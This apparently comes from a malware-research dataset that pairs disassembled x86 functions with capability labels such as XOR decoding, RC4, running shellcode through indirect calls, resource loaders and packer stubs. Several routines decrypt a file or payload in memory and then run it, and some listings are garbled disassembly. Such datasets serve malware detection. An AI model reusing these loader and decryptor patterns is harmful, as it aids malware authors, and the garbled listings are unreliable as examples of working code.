joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004700
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x64
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
call fcn.100046e0
xor ecx, ecx
mov dword [0x101e5fe4], 0x26c3
mov edx, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
lea edx, section..data
imul esi, eax, 0x14c
mov edi, edx
add edi, esi
add edi, 0x5c
mov esi, dword [edi]
imul edi, eax, 0x14c
add edx, edi
add edx, 0x58
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x1bc
mov ecx, edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jne 0x1000472b
lea eax, [0x101c1037]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], ecx
call fcn.10005330
mov dword [0x101e5fe8], 0x1da2
mov dword [0x101e5fe4], 0xbcc
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call fcn.100042d0
mov ecx, eax
mov dword [0x101e6004], eax
mov eax, esp
mov edx, dword [ebp - 0x40]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
lea edx, section..data
imul esi, eax, 0x14c
mov edi, edx
add edi, esi
add edi, 0x5c
mov esi, dword [edi]
imul edi, eax, 0x14c
mov ebx, edx
add ebx, edi
add ebx, 4
mov edi, dword [ebx]
imul ebx, eax, 0x14c
add edx, ebx
add edx, 0x58
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x4c]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], edx
call fcn.10005230
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
add eax, ecx
mov edx, dword [ebp - 0x58]
add edx, 1
cmp edx, 0x1bc
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], edx
jne 0x100047f1
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x40]
mov dword [esp + 8], ecx
call fcn.10005190
xor eax, eax
mov dword [0x101e5fe8], 0xe79
mov ecx, dword [ebp - 0x4c]
add ecx, 0xa83ac
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov dword [edx + 4], 0x137c00
mov ecx, dword [ebp - 0x4c]
add ecx, 0x8ab85
mov dword [edx + 8], ecx
mov ecx, dword [0x101e5fe8]
add ecx, 0x745
mov dword [0x101e5fe4], ecx
mov dword [edx + 0xc], 0x2010
add esp, 0x64
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10004da0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 0x2a
lea ecx, [fcn.10004da0]
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
jmp 0x10004db9
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp word [eax], 0x5a4d
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
jne 0x10004deb
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x10004deb
mov eax, dword [ebp - 0x10]
mov dword [0x101e5fe4], eax
mov eax, dword [ebp - 0xc]
add esp, 0x10
pop ebp
ret
mov eax, 0x1e0d
mov ecx, dword [ebp - 0xc]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
jmp 0x10004db9

Function at 0x10004fa0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101e5fec], 0
mov dword [0x101e5ff0], 0
mov dword [0x101e5ffc], 0
mov dword [0x101e5fe8], 0x1d00
mov dword [0x101e5fe4], 0x24ab
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
je 0x100050fa
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x101e5fec]
add edx, 1
mov dword [ebp - 0x24], eax
mov eax, edx
cdq
idiv ecx
mov dword [0x101e5fec], edx
mov dword [0x101e5fe4], 0x11eb
mov esi, dword [0x101e5ff0]
mov edi, dword [ebp - 0x1c]
movzx edx, byte [edi + edx]
add edx, esi
mov eax, edx
cdq
idiv ecx
mov dword [0x101e5ff0], edx
mov ecx, dword [0x101e5fe4]
add ecx, 0x1cfe
mov dword [0x101e5fe8], ecx
mov ecx, dword [0x101e5fec]
mov bl, byte [edi + ecx]
mov byte [0x101e5ff4], bl
mov dword [0x101e5fe4], 0x7d5
mov ecx, dword [0x101e5ff0]
mov bl, byte [edi + ecx]
mov ecx, dword [0x101e5fec]
mov byte [edi + ecx], bl
mov bl, byte [0x101e5ff4]
mov ecx, dword [0x101e5ff0]
mov byte [edi + ecx], bl
mov dword [0x101e5fe8], 0x2207
mov ecx, dword [0x101e5fec]
movzx ecx, byte [edi + ecx]
mov edx, dword [0x101e5ff0]
movzx edx, byte [edi + edx]
add edx, ecx
and edx, 0xff
mov dword [0x101e5ffc], edx
mov bl, byte [edi + edx]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
movzx esi, byte [ecx + edx]
mov dword [esp], esi
movzx esi, bl
mov dword [esp + 4], esi
call fcn.10001000
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
mov byte [ecx + edx], al
add edx, 1
mov esi, dword [ebp - 0x10]
cmp edx, esi
mov dword [ebp - 0x20], edx
jne 0x10005003
mov eax, dword [0x101e5fe4]
add eax, 0xfffff597
mov dword [0x101e5fe4], eax
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100055a0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x101e5fe4], 0x6a9
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x101e5fe8], 0x9a7
mov esi, dword [0x101e5fe4]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
jmp 0x100055f4
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100056fd
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffbee
mov edx, dword [ebp - 0x14]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], esi
je 0x10005682
jmp 0x10005661
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x10005644
jmp 0x100055ea
mov dword [0x101e5fe4], 0x144b
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x10005618
jmp 0x100055ea
mov eax, 1
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x2c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
je 0x100056fd
jmp 0x100055ea
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, dword [ebp - 0x24]
mov edx, eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x28], eax
jl 0x100055f4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [0x101e5fe4], ecx
mov dword [0x101e5fe8], 0x85f
mov edx, dword [ebp - 0x14]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x2c], eax
jne 0x100055ea
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x100055ea
mov dword [0x101e5fe8], 0x18d
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x100055ea
mov dword [0x101e5fe8], 0xfffff24c
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x10005629
jmp 0x100055ea
mov eax, dword [ebp - 0x1c]
add esp, 0x28
pop esi
pop ebp
ret
Function at 0x40143f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x90]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x40145e
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x401452
add esi, 0x10000
push esi
mov eax, 0x40301b
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004013a7
mov dword [0x4030dc], eax
push 0x403023
push 0x3e8
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x4014a2
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4014b3
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4014c7
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x4014d5
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x4014f1
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.0040129b
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x401544
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4015ba
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401c56
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x401037
push dword [ebp + 0xc]
call fcn.00401267
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x401825
add eax, dword [ebp + 8]
call eax
leave
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x401c66
pop dword [ebp - 0x34]
mov eax, 0xf99b5578
add eax, 0x6a4c6ee
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xbeed0f6f
add dword [ebp - 0x44], 0x8f6535dc
mov dword [ebp - 0x40], 0x95c7658a
add dword [ebp - 0x40], 0x9c6be6bb
mov dword [ebp - 0x3c], 0xefa32f05
sub dword [ebp - 0x3c], 0xa356ead7
mov dword [ebp - 0x38], 0x982b7638
sub dword [ebp - 0x38], 0x982b7638
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x4497927d
add dword [ebp - 0x44], 0x2fdad6d9
mov dword [ebp - 0x40], 0xf787ed27
add dword [ebp - 0x40], 0x49e4744e
mov dword [ebp - 0x3c], 0x5665495f
sub dword [ebp - 0x3c], 0xf2f5dcf3
mov dword [ebp - 0x38], 0x23d762b1
sub dword [ebp - 0x38], 0x23d762b1
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x351b6
push 0
call eax
mov ecx, 0xe06ca09
sub ecx, 0xe068788
xor edi, edi
add edi, eax
mov ebx, 0x407000
add ebx, dword [ebp - 0x34]
mov edx, 0xaf292841
sub dword [ebp - 0x10], esi
mov esi, dword [ebx]
add dword [ebp - 0x10], 0xcedde9e7
xor esi, edx
sub dword [ebp - 0x18], 0x462051b1
mov dword [edi], esi
xor dword [ebp - 0x10], 0x1ebafe91
add edi, 4
add ebx, 0x36e03244
add ebx, 0xc91fcdc0
loop 0x401d74
add eax, 0xfcd7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x409ea0
Capabilities:
Encode data using xor

Disassembly:
cmp ah, ah
in al, dx
test byte [ebp - 0x32], 0xfc
sal dh, 0xc1
and byte [ebp + eax - 0x48], dh
sbb eax, dword [eax]
stosd dword es:[edi], eax
add dh, dh
rol dword [edx], 0xc1
add bh, byte [ecx - 0x16]
test bh, 1
je 0x409ed6
or al, 4
mov ecx, dword [ebp + 0x1c]
mov ebp, 0x90c35de0
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
or eax, dword [ebp + 0xe]
lds ecx, [eax + 8]
test ecx, 0x52000000
je 0x409f5e
or ecx, 0x67
jmp 0x409ee5
inc dword [ebx - 0x2e91f837]
mov dword [eax + 8], ecx
shl edx, 4
or edx, ecx
sal dword [eax + esi + 0x5e], 0xd1
mov ecx, dword [eax - 0x51]
or ecx, 0x700000
mov dword [eax + 0x78], edx
pop ecx
dec eax
add al, 0x8b
ror dword [ebx - 0x2f7df3b3], 0x23
cmp dh, bh
fcomp dword [ebx]
shl byte [0x12578], 0x5d
ret
mov edi, dword [eax + 0x53]
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, 0xf0
xor ebp, esp
mov ebp, dword [edx - 0xd]
stosd dword es:[edi], eax
mov eax, dword [ebx + 4]
xor edx, edx
or ah, byte [eax]
add byte [edx + 0x785589b0], dl
mov dword [esi + 0x38], eax
mov ebx, esi
cmp al, 0xe8
and dword [eax + eax], ecx
inc esi
cmp byte [ecx + 0x21e83cf3], cl
or al, 0
add byte [ecx + 0x56893846], cl
cmp al, 0x8b
in eax, dx
scasd eax, dword es:[edi]
mov edx, eax
mov ebp, dword [eax + 0x53]
aam 0xff
or edx, ecx
and al, 0x34
dec dword [ebx]
shl dword [esp + esi], 1
mov dword [esi - 0xc], edx
mov dword [ebp - 0x2f9aa8ad], edx
mov eax, dword [esi + 0x38]
push 0xa
push edx
push eax
mov word [eax], ds
push ss
add byte [eax], al
mov dword [esi + 0x3c], edx
mov ecx, dword [esi + 0x3c]
mov edx, eax
mov dword [esi + 0x38], eax
add edx, 0xb7791b00
or dword [edi + 0x15d6a169], 0xc9385689
dec esi
jae 0x409f21
dec ebx
or byte [ecx - 0x3e74b7ea], cl
in eax, 0xd7
mov ecx, 0x8400a320
std
jle 0x409f45
call fcn.0040b870
mov dword [edx + 0x48], esp
mov dword [esi + 0x4c], edx
mov edx, dword [ebx + 4]
dec esi
dec esp
or eax, edx
or ecx, edi
mov dword [esi + 0x48], eax
mov dword [esi + 0x7c], ecx
push edi
mov edx, dword [edi]
mov edi, dword [edi - 0x6df595b8]
push ecx
call fcn.0040b590
mov dword [esi + 0x48], eax
or al, 0
shr byte [eax], 0x89
push esi
inc edx
mov dword [esi - 0x37], eax
mov ss, edx
imul esp, dword [ecx + 0x20b9ff2b], 0xe6683d00
push esi
dec esp
mov edx, dword [ebx + 0x18]
mov dword [esi - 0x24], edx
dec edi
ret 0xd775
Function at 0x40b080
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
cdq
jne 0x40b099
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
or eax, ecx
add byte [ebp + 0x71], dh
mov al, byte [esi + 8]
test al, al
je 0x40b10d
mov edx, dword [esi + 4]
lea ecx, [ebp + 8]
push 0
push ecx
push 0
push 0x5d
push 0
adc edi, edi
adc eax, sym.imp.KERNEL32.dll_PeekNamedPipe
test eax, eax
jne 0x40b0f2
mov esi, dword [sym.imp.WS2_32.dll_WSASend]
call esi
test eax, eax
jne 0x40b0d2
loopne 0x40b118
adc al, 0x5f
pop esi
or al, 7
pop ebp
ret
call esi
add eax, 0x7e0afc80
cmp eax, 0x680afced
jne 0x40b0e5
mov eax, 0x111ce
mov ecx, dword [ebp + 0x14]
pop edi
pop esi
mov dword [ecx], 0
repz ret
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40b144
mov edx, dword [ebp + 0x14]
pop edi
pop esi
mov dword [edx], eax
mov eax, 0xe00b
pop ebp
ret
mov eax, dword [esi + 0xc]
in eax, dx
sal byte [ebx - 0x76], 0x4e
or byte [ecx + ecx*8 + 0x4e8b1c79], al
push eax
leave
jns 0x40b137
mov ecx, dword [esi + 0x50]
mov dword [eax + 8], ecx
mov eax, dword [esi + 0x50]
mov edx, dword [esi + 0x54]
mov ecx, 0xa30020
call 0x94b810
adc eax, 0x42980ce1
push eax
mov eax, dword [esi + 0xc]
mov edx, dword [ebp + 0xc]
push ebx
lea ecx, [ebp + 0x10]
push eax
mov eax, dword [esi + 4]
push ecx
add al, 0x51
xchg ecx, eax
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
rol al, 0x74
pop es
pop esi
shr cl, 0x2b
add dword [eax], eax
add byte [ebx + 0x40c098a4], cl
or al, 0xff
xlatb
test dword [esi + 0xf], ecx
insd dword es:[edi], dx
sbb edx, ebx
add byte [eax], al
inc edx
xlatb
add eax, 0x210a9e80
cmp eax, 0xb0065
emms
lds esi, [edx + 0x1d8b0000]
pushfd
rol byte [eax], 0x66
dec esi
adc al, 0x8b
inc esi
cmp al, byte [ebp + 0xa167c83]
add al, 0x85
sal byte [esi + 0x10], 0xf3
add dh, bl
xchg edi, eax
add eax, dword [eax]
add byte [ecx + 0x50], dl
salc
lock add ebp, dword [0xe8882800]
rcl esp, 0xa8
lea esi, [ebp + 4]
or eax, eax
jmp 0x40b1af
mov ecx, dword [esi - 0x28]
cmp eax, 0x523b95a1
call ebx
mov edi, eax
sbb dword [edi - 0x80], 0x4700003d
invalid

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x71b07115
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6528427e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x468530
Capabilities:
Encrypt data using blowfish

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
sub eax, 1
cmp eax, 0x36
ja 0x468667
mov ebx, dword [ebp + 0x14]
test ebx, ebx
je 0x4686ea
cmp dword [ebp + 0x14], 0x12
ja 0x4686b5
mov eax, dword [ecx]
mov ebx, ecx
mov eax, dword [eax]
cmp eax, 0x40f8e0
jne 0x468660
mov ecx, dword [ecx + 0x14]
mov eax, dword [0x6b0d40]
mov esi, 0x6b0d40
mov dword [ecx], eax
lea edi, [ecx + 4]
mov eax, dword [0x6b0d84]
and edi, 0xfffffffc
mov dword [ecx + 0x44], eax
sub ecx, edi
mov eax, dword [0x6afd40]
sub esi, ecx
add ecx, 0x48
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov esi, 0x6afd40
mov ecx, dword [ebx + 4]
mov dword [ecx], eax
lea edi, [ecx + 4]
mov eax, dword [0x6b0d3c]
and edi, 0xfffffffc
mov dword [ecx + 0xffc], eax
sub ecx, edi
sub esi, ecx
add ecx, 0x1000
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0x10]
mov ecx, ebx
mov dword [ebp - 0x30], 0
lea esi, [ebp - 0x30]
mov dword [ebp - 0x2c], 0
mov edi, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], 0
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], 0
mov dword [esp], eax
call fcn.0044f290
movzx ecx, byte [ebp + 0x14]
sub esp, 0xc
shl edi, cl
mov dword [ebp - 0x3c], edi
xor edi, edi
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], esi
mov ecx, ebx
add edi, 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0044f290
mov eax, dword [ebp + 0x10]
mov ecx, ebx
sub esp, 0xc
mov dword [esp + 8], esi
mov dword [esp + 4], 0x10
mov dword [esp], eax
call fcn.0044f290
sub esp, 0xc
cmp dword [ebp - 0x3c], edi
jne 0x468613
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
call eax
jmp 0x4685c6
mov dword [esp], 8
lea esi, [ebp - 0x30]
call fcn.00642d90
mov dword [esp], str.EKSBlowfish
mov ecx, esi
mov edi, eax
call fcn.00433440
push eax
mov eax, dword [ebp + 0xc]
mov ecx, edi
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00590690
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x28]
push esi
push esi
cmp eax, edx
je 0x647304
mov dword [esp], eax
call fcn.00642b70
jmp 0x647304
mov dword [esp], 8
call fcn.00642d90
mov dword [esp], str.Requested_Bcrypt_work_factor_too_large
mov ecx, eax
mov ebx, eax
call fcn.0060a940
push eax
mov dword [esp + 8], fcn.0060a9f0
mov dword [esp + 4], 0x7011c8
mov dword [esp], ebx
call fcn.00643480
mov dword [esp], 8
call fcn.00642d90
mov dword [esp], str.Bcrypt_work_factor_must_be_at_least_1
mov ecx, eax
mov ebx, eax
call fcn.0060a940
push edx
mov dword [esp + 8], fcn.0060a9f0
mov dword [esp + 4], 0x7011c8
mov dword [esp], ebx
call fcn.00643480
mov ebx, eax
jmp 0x64731c